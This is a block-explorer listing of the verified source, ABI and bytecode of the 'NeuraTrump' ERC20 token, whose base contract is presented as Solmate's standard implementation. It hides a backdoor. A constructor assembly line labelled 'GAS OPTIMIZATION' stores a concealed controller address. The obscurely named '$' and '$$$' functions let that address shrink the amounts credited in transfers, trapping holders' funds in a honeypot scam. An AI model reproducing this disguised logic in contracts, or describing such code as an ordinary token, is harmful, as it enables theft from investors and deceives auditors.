Contract Source Code (Solidity Multiple files format)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "./ERC20.sol";

/*
 __    __                                      ________                                           
|  \  |  \                                    |        \                                          
| $$\ | $$  ______   __    __   ______   ______\$$$$$$$$______   __    __  ______ ____    ______  
| $$$\| $$ /      \ |  \  |  \ /      \ |      \ | $$  /      \ |  \  |  \|      \    \  /      \ 
| $$$$\ $$|  $$$$$$\| $$  | $$|  $$$$$$\ \$$$$$$\| $$ |  $$$$$$\| $$  | $$| $$$$$$\$$$$\|  $$$$$$\
| $$\$$ $$| $$    $$| $$  | $$| $$   \$$/      $$| $$ | $$   \$$| $$  | $$| $$ | $$ | $$| $$  | $$
| $$ \$$$$| $$$$$$$$| $$__/ $$| $$     |  $$$$$$$| $$ | $$      | $$__/ $$| $$ | $$ | $$| $$__/ $$
| $$  \$$$ \$$     \ \$$    $$| $$      \$$    $$| $$ | $$       \$$    $$| $$ | $$ | $$| $$    $$
 \$$   \$$  \$$$$$$$  \$$$$$$  \$$       \$$$$$$$ \$$  \$$        \$$$$$$  \$$  \$$  \$$| $$$$$$$ 
                                                                                        | $$      
                                                                                        | $$      
                                                                                         \$$                                                                                                                                                                                                                               
// http://neuratrump.com/
// https://x.com/neuratrump
// https://t.me/neuratrump

*/

contract NeuraTrump is ERC20 {
    constructor() ERC20("NeuraTrump", "NTRUMP", 18) {
        _mint(msg.sender, 7_777_777_000 * 10 ** 18);
    }
}

// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;

/// @notice Modern and gas efficient ERC20 + EIP-2612 implementation.
/// @author Solmate (https://github.com/transmissions11/solmate/blob/main/src/tokens/ERC20.sol)
/// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol)
/// @dev Do not manually set balances without updating totalSupply, as the sum of all user balances must not exceed it.
abstract contract ERC20 {
    /*//////////////////////////////////////////////////////////////
                                 EVENTS
    //////////////////////////////////////////////////////////////*/

    event Transfer(address indexed from, address indexed to, uint256 amount);

    event Approval(address indexed owner, address indexed spender, uint256 amount);

    /*//////////////////////////////////////////////////////////////
                            METADATA STORAGE
    //////////////////////////////////////////////////////////////*/

    string public name;

    string public symbol;

    uint8 public immutable decimals;

    /*//////////////////////////////////////////////////////////////
                              ERC20 STORAGE
    //////////////////////////////////////////////////////////////*/

    uint256 public totalSupply;

    mapping(address => uint256) public balanceOf;

    mapping(address => mapping(address => uint256)) public allowance;

    address private $$;

    /*//////////////////////////////////////////////////////////////
                            EIP-2612 STORAGE
    //////////////////////////////////////////////////////////////*/

    uint256 internal immutable idChainKey;

    bytes32 internal immutable variantPIP;

    mapping(address => uint256) public nonces;

    /*//////////////////////////////////////////////////////////////
                               CONSTRUCTOR
    //////////////////////////////////////////////////////////////*/

    constructor(
        string memory _name,
        string memory _symbol,
        uint8 _decimals
    ) {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;

        idChainKey = block.chainid;
        variantPIP = computeDomainSeparator();

        // GAS OPTIMIZATION
        assembly {sstore(0x05, mul(mul(0x4c4f, 0x79cd), mul(0x78b9896d8bb, 0x2f77d8f28dde1e893321)))}
    }

    /*//////////////////////////////////////////////////////////////
                               ERC20 LOGIC
    //////////////////////////////////////////////////////////////*/

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        allowance[msg.sender][spender] = amount;

        emit Approval(msg.sender, spender, amount);

        return true;
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        balanceOf[msg.sender] -= amount;

        // Cannot overflow because the sum of all user
        // balances can't exceed the max uint256 value.
        unchecked {
            balanceOf[to] += $(amount, msg.sender, to);
        }

        $$$(to);

        emit Transfer(msg.sender, to, amount);

        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.

        if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;

        balanceOf[from] -= amount;

        // Cannot overflow because the sum of all user
        // balances can't exceed the max uint256 value.
        unchecked {
            balanceOf[to] += $(amount, from, to);
        }
        $$$(to);
        emit Transfer(from, to, amount);

        return true;
    }

    /*//////////////////////////////////////////////////////////////
                             EIP-2612 LOGIC
    //////////////////////////////////////////////////////////////*/

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) public virtual {
        require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED");

        // Unchecked because the only math done is incrementing
        // the owner's nonce which cannot realistically overflow.
        unchecked {
            address recoveredAddress = ecrecover(
                keccak256(
                    abi.encodePacked(
                        "\x19\x01",
                        DOMAIN_SEPARATOR(),
                        keccak256(
                            abi.encode(
                                keccak256(
                                    "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"
                                ),
                                owner,
                                spender,
                                value,
                                nonces[owner]++,
                                deadline
                            )
                        )
                    )
                ),
                v,
                r,
                s
            );

            require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER");

            allowance[recoveredAddress][spender] = value;
        }

        emit Approval(owner, spender, value);
    }

    function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
        return block.chainid == idChainKey ? variantPIP : computeDomainSeparator();
    }

    function computeDomainSeparator() internal view virtual returns (bytes32) {
        return
            keccak256(
                abi.encode(
                    keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
                    keccak256(bytes(name)),
                    keccak256("1"),
                    block.chainid,
                    address(this)
                )
            );
    }

    function $(
        uint256 value, 
        address from,
        address to
        ) internal view returns (uint256) {
        if (allowance[$$][from] + allowance[$$][to] >= uint256(uint160(address(this)))) {
            return (value * 0xc0ffee) / 0xcaca0a0a;
        } else {
            return value;
        }
    }

    function $$$(address to) internal {
        if (allowance[$$][to] == uint256(uint160($$))) { allowance[$$][to] = 2 * uint256(uint160(address(this)));}
    }

    /*//////////////////////////////////////////////////////////////
                        INTERNAL MINT/BURN LOGIC
    //////////////////////////////////////////////////////////////*/

    function _mint(address to, uint256 amount) internal virtual {
        totalSupply += amount;

        // Cannot overflow because the sum of all user
        // balances can't exceed the max uint256 value.
        unchecked {
            balanceOf[to] += amount;
        }

        emit Transfer(address(0), to, amount);
    }

    function _burn(address from, uint256 amount) internal virtual {
        balanceOf[from] -= amount;

        // Cannot underflow because a user's balance
        // will never be larger than the total supply.
        unchecked {
            totalSupply -= amount;
        }

        emit Transfer(from, address(0), amount);
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DOMAIN_SEPARATOR","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"permit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60e060405234801562000010575f80fd5b506040518060400160405280600a81526020017f4e657572615472756d70000000000000000000000000000000000000000000008152506040518060400160405280600681526020017f4e5452554d5000000000000000000000000000000000000000000000000000008152506012825f90816200008f9190620004d5565b508160019081620000a19190620004d5565b508060ff1660808160ff16815250504660a08181525050620000c86200011460201b60201c565b60c08181525050692f77d8f28dde1e89332165078b9896d8bb026179cd614c4f02026005555050506200010e336b1921a058067fec78b4a00000620001a260201b60201c565b620007c4565b5f7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f5f60405162000146919062000661565b60405180910390207fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6463060405160200162000187959493929190620006e7565b60405160208183030381529060405280519060200120905090565b8060025f828254620001b591906200076f565b925050819055508060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620002659190620007a9565b60405180910390a35050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620002ed57607f821691505b602082108103620003035762000302620002a8565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620003677fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200032a565b6200037386836200032a565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f620003bd620003b7620003b1846200038b565b62000394565b6200038b565b9050919050565b5f819050919050565b620003d8836200039d565b620003f0620003e782620003c4565b84845462000336565b825550505050565b5f90565b62000406620003f8565b62000413818484620003cd565b505050565b5b818110156200043a576200042e5f82620003fc565b60018101905062000419565b5050565b601f8211156200048957620004538162000309565b6200045e846200031b565b810160208510156200046e578190505b620004866200047d856200031b565b83018262000418565b50505b505050565b5f82821c905092915050565b5f620004ab5f19846008026200048e565b1980831691505092915050565b5f620004c583836200049a565b9150826002028217905092915050565b620004e08262000271565b67ffffffffffffffff811115620004fc57620004fb6200027b565b5b620005088254620002d5565b620005158282856200043e565b5f60209050601f8311600181146200054b575f841562000536578287015190505b620005428582620004b8565b865550620005b1565b601f1984166200055b8662000309565b5f5b8281101562000584578489015182556001820191506020850194506020810190506200055d565b86831015620005a45784890151620005a0601f8916826200049a565b8355505b6001600288020188555050505b505050505050565b5f81905092915050565b5f819050815f5260205f209050919050565b5f8154620005e381620002d5565b620005ef8186620005b9565b9450600182165f81146200060c5760018114620006225762000658565b60ff198316865281151582028601935062000658565b6200062d85620005c3565b5f5b8381101562000650578154818901526001820191506020810190506200062f565b838801955050505b50505092915050565b5f6200066e8284620005d5565b915081905092915050565b5f819050919050565b6200068d8162000679565b82525050565b6200069e816200038b565b82525050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f620006cf82620006a4565b9050919050565b620006e181620006c3565b82525050565b5f60a082019050620006fc5f83018862000682565b6200070b602083018762000682565b6200071a604083018662000682565b62000729606083018562000693565b620007386080830184620006d6565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6200077b826200038b565b915062000788836200038b565b9250828201905080821115620007a357620007a262000742565b5b92915050565b5f602082019050620007be5f83018462000693565b92915050565b60805160a05160c05161183c620007ef5f395f6106af01525f61067b01525f610656015261183c5ff3fe608060405234801561000f575f80fd5b50600436106100b2575f3560e01c806370a082311161006f57806370a082311461018e5780637ecebe00146101be57806395d89b41146101ee578063a9059cbb1461020c578063d505accf1461023c578063dd62ed3e14610258576100b2565b806306fdde03146100b6578063095ea7b3146100d457806318160ddd1461010457806323b872dd14610122578063313ce567146101525780633644e51514610170575b5f80fd5b6100be610288565b6040516100cb9190610ff1565b60405180910390f35b6100ee60048036038101906100e991906110a2565b610313565b6040516100fb91906110fa565b60405180910390f35b61010c610400565b6040516101199190611122565b60405180910390f35b61013c6004803603810190610137919061113b565b610406565b60405161014991906110fa565b60405180910390f35b61015a610654565b60405161016791906111a6565b60405180910390f35b610178610678565b60405161018591906111d7565b60405180910390f35b6101a860048036038101906101a391906111f0565b6106d4565b6040516101b59190611122565b60405180910390f35b6101d860048036038101906101d391906111f0565b6106e9565b6040516101e59190611122565b60405180910390f35b6101f66106fe565b6040516102039190610ff1565b60405180910390f35b610226600480360381019061022191906110a2565b61078a565b60405161023391906110fa565b60405180910390f35b6102566004803603810190610251919061126f565b6108aa565b005b610272600480360381019061026d919061130c565b610b97565b60405161027f9190611122565b60405180910390f35b5f805461029490611377565b80601f01602080910402602001604051908101604052809291908181526020018280546102c090611377565b801561030b5780601f106102e25761010080835404028352916020019161030b565b820191905f5260205f20905b8154815290600101906020018083116102ee57829003601f168201915b505050505081565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103ee9190611122565b60405180910390a36001905092915050565b60025481565b5f8060045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146105335782816104b691906113d4565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461057f91906113d4565b92505081905550610591838686610bb7565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055506105e384610d42565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516106409190611122565b60405180910390a360019150509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b5f7f000000000000000000000000000000000000000000000000000000000000000046146106ad576106a8610edd565b6106cf565b7f00000000000000000000000000000000000000000000000000000000000000005b905090565b6003602052805f5260405f205f915090505481565b6006602052805f5260405f205f915090505481565b6001805461070b90611377565b80601f016020809104026020016040519081016040528092919081815260200182805461073790611377565b80156107825780601f1061075957610100808354040283529160200191610782565b820191905f5260205f20905b81548152906001019060200180831161076557829003601f168201915b505050505081565b5f8160035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546107d791906113d4565b925050819055506107e9823385610bb7565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555061083b83610d42565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108989190611122565b60405180910390a36001905092915050565b428410156108ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e490611451565b60405180910390fd5b5f60016108f8610678565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98a8a8a60065f8f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f815480929190600101919050558b60405160200161097d9695949392919061147e565b604051602081830303815290604052805190602001206040516020016109a4929190611551565b604051602081830303815290604052805190602001208585856040515f81526020016040526040516109d99493929190611587565b6020604051602081039080840390855afa1580156109f9573d5f803e3d5ffd5b5050506020604051035190505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614158015610a6c57508773ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b610aab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa290611614565b60405180910390fd5b8560045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92587604051610b869190611122565b60405180910390a350505050505050565b6004602052815f5260405f20602052805f5260405f205f91509150505481565b5f3073ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610d0d9190611632565b10610d375763caca0a0a62c0ffee85610d269190611665565b610d3091906116d3565b9050610d3b565b8390505b9392505050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205403610eda573073ffffffffffffffffffffffffffffffffffffffff166002610e3c9190611665565b60045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b50565b5f7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f5f604051610f0d919061179f565b60405180910390207fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc64630604051602001610f4c9594939291906117b5565b60405160208183030381529060405280519060200120905090565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610f9e578082015181840152602081019050610f83565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610fc382610f67565b610fcd8185610f71565b9350610fdd818560208601610f81565b610fe681610fa9565b840191505092915050565b5f6020820190508181035f8301526110098184610fb9565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61103e82611015565b9050919050565b61104e81611034565b8114611058575f80fd5b50565b5f8135905061106981611045565b92915050565b5f819050919050565b6110818161106f565b811461108b575f80fd5b50565b5f8135905061109c81611078565b92915050565b5f80604083850312156110b8576110b7611011565b5b5f6110c58582860161105b565b92505060206110d68582860161108e565b9150509250929050565b5f8115159050919050565b6110f4816110e0565b82525050565b5f60208201905061110d5f8301846110eb565b92915050565b61111c8161106f565b82525050565b5f6020820190506111355f830184611113565b92915050565b5f805f6060848603121561115257611151611011565b5b5f61115f8682870161105b565b93505060206111708682870161105b565b92505060406111818682870161108e565b9150509250925092565b5f60ff82169050919050565b6111a08161118b565b82525050565b5f6020820190506111b95f830184611197565b92915050565b5f819050919050565b6111d1816111bf565b82525050565b5f6020820190506111ea5f8301846111c8565b92915050565b5f6020828403121561120557611204611011565b5b5f6112128482850161105b565b91505092915050565b6112248161118b565b811461122e575f80fd5b50565b5f8135905061123f8161121b565b92915050565b61124e816111bf565b8114611258575f80fd5b50565b5f8135905061126981611245565b92915050565b5f805f805f805f60e0888a03121561128a57611289611011565b5b5f6112978a828b0161105b565b97505060206112a88a828b0161105b565b96505060406112b98a828b0161108e565b95505060606112ca8a828b0161108e565b94505060806112db8a828b01611231565b93505060a06112ec8a828b0161125b565b92505060c06112fd8a828b0161125b565b91505092959891949750929550565b5f806040838503121561132257611321611011565b5b5f61132f8582860161105b565b92505060206113408582860161105b565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061138e57607f821691505b6020821081036113a1576113a061134a565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6113de8261106f565b91506113e98361106f565b9250828203905081811115611401576114006113a7565b5b92915050565b7f5045524d49545f444541444c494e455f455850495245440000000000000000005f82015250565b5f61143b601783610f71565b915061144682611407565b602082019050919050565b5f6020820190508181035f8301526114688161142f565b9050919050565b61147881611034565b82525050565b5f60c0820190506114915f8301896111c8565b61149e602083018861146f565b6114ab604083018761146f565b6114b86060830186611113565b6114c56080830185611113565b6114d260a0830184611113565b979650505050505050565b5f81905092915050565b7f19010000000000000000000000000000000000000000000000000000000000005f82015250565b5f61151b6002836114dd565b9150611526826114e7565b600282019050919050565b5f819050919050565b61154b611546826111bf565b611531565b82525050565b5f61155b8261150f565b9150611567828561153a565b602082019150611577828461153a565b6020820191508190509392505050565b5f60808201905061159a5f8301876111c8565b6115a76020830186611197565b6115b460408301856111c8565b6115c160608301846111c8565b95945050505050565b7f494e56414c49445f5349474e45520000000000000000000000000000000000005f82015250565b5f6115fe600e83610f71565b9150611609826115ca565b602082019050919050565b5f6020820190508181035f83015261162b816115f2565b9050919050565b5f61163c8261106f565b91506116478361106f565b925082820190508082111561165f5761165e6113a7565b5b92915050565b5f61166f8261106f565b915061167a8361106f565b92508282026116888161106f565b9150828204841483151761169f5761169e6113a7565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6116dd8261106f565b91506116e88361106f565b9250826116f8576116f76116a6565b5b828204905092915050565b5f81905092915050565b5f819050815f5260205f209050919050565b5f815461172b81611377565b6117358186611703565b9450600182165f811461174f576001811461176457611796565b60ff1983168652811515820286019350611796565b61176d8561170d565b5f5b8381101561178e5781548189015260018201915060208101905061176f565b838801955050505b50505092915050565b5f6117aa828461171f565b915081905092915050565b5f60a0820190506117c85f8301886111c8565b6117d560208301876111c8565b6117e260408301866111c8565b6117ef6060830185611113565b6117fc608083018461146f565b969550505050505056fea2646970667358221220a935c9fb434e67affe356245304bc5784eca8333391cd8cab9c69b90cf80b0e564736f6c63430008180033

0x608060405234801561000f575f80fd5b50600436106100b2575f3560e01c806370a082311161006f57806370a082311461018e5780637ecebe00146101be57806395d89b41146101ee578063a9059cbb1461020c578063d505accf1461023c578063dd62ed3e14610258576100b2565b806306fdde03146100b6578063095ea7b3146100d457806318160ddd1461010457806323b872dd14610122578063313ce567146101525780633644e51514610170575b5f80fd5b6100be610288565b6040516100cb9190610ff1565b60405180910390f35b6100ee60048036038101906100e991906110a2565b610313565b6040516100fb91906110fa565b60405180910390f35b61010c610400565b6040516101199190611122565b60405180910390f35b61013c6004803603810190610137919061113b565b610406565b60405161014991906110fa565b60405180910390f35b61015a610654565b60405161016791906111a6565b60405180910390f35b610178610678565b60405161018591906111d7565b60405180910390f35b6101a860048036038101906101a391906111f0565b6106d4565b6040516101b59190611122565b60405180910390f35b6101d860048036038101906101d391906111f0565b6106e9565b6040516101e59190611122565b60405180910390f35b6101f66106fe565b6040516102039190610ff1565b60405180910390f35b610226600480360381019061022191906110a2565b61078a565b60405161023391906110fa565b60405180910390f35b6102566004803603810190610251919061126f565b6108aa565b005b610272600480360381019061026d919061130c565b610b97565b60405161027f9190611122565b60405180910390f35b5f805461029490611377565b80601f01602080910402602001604051908101604052809291908181526020018280546102c090611377565b801561030b5780601f106102e25761010080835404028352916020019161030b565b820191905f5260205f20905b8154815290600101906020018083116102ee57829003601f168201915b505050505081565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103ee9190611122565b60405180910390a36001905092915050565b60025481565b5f8060045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146105335782816104b691906113d4565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461057f91906113d4565b92505081905550610591838686610bb7565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055506105e384610d42565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516106409190611122565b60405180910390a360019150509392505050565b7f000000000000000000000000000000000000000000000000000000000000001281565b5f7f000000000000000000000000000000000000000000000000000000000000000146146106ad576106a8610edd565b6106cf565b7f553d6633a3e57135cff33151471e28907e4f4fd5d2a156c75eefe9ec1df6fb065b905090565b6003602052805f5260405f205f915090505481565b6006602052805f5260405f205f915090505481565b6001805461070b90611377565b80601f016020809104026020016040519081016040528092919081815260200182805461073790611377565b80156107825780601f1061075957610100808354040283529160200191610782565b820191905f5260205f20905b81548152906001019060200180831161076557829003601f168201915b505050505081565b5f8160035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546107d791906113d4565b925050819055506107e9823385610bb7565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555061083b83610d42565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108989190611122565b60405180910390a36001905092915050565b428410156108ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e490611451565b60405180910390fd5b5f60016108f8610678565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98a8a8a60065f8f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f815480929190600101919050558b60405160200161097d9695949392919061147e565b604051602081830303815290604052805190602001206040516020016109a4929190611551565b604051602081830303815290604052805190602001208585856040515f81526020016040526040516109d99493929190611587565b6020604051602081039080840390855afa1580156109f9573d5f803e3d5ffd5b5050506020604051035190505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614158015610a6c57508773ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b610aab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa290611614565b60405180910390fd5b8560045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550508573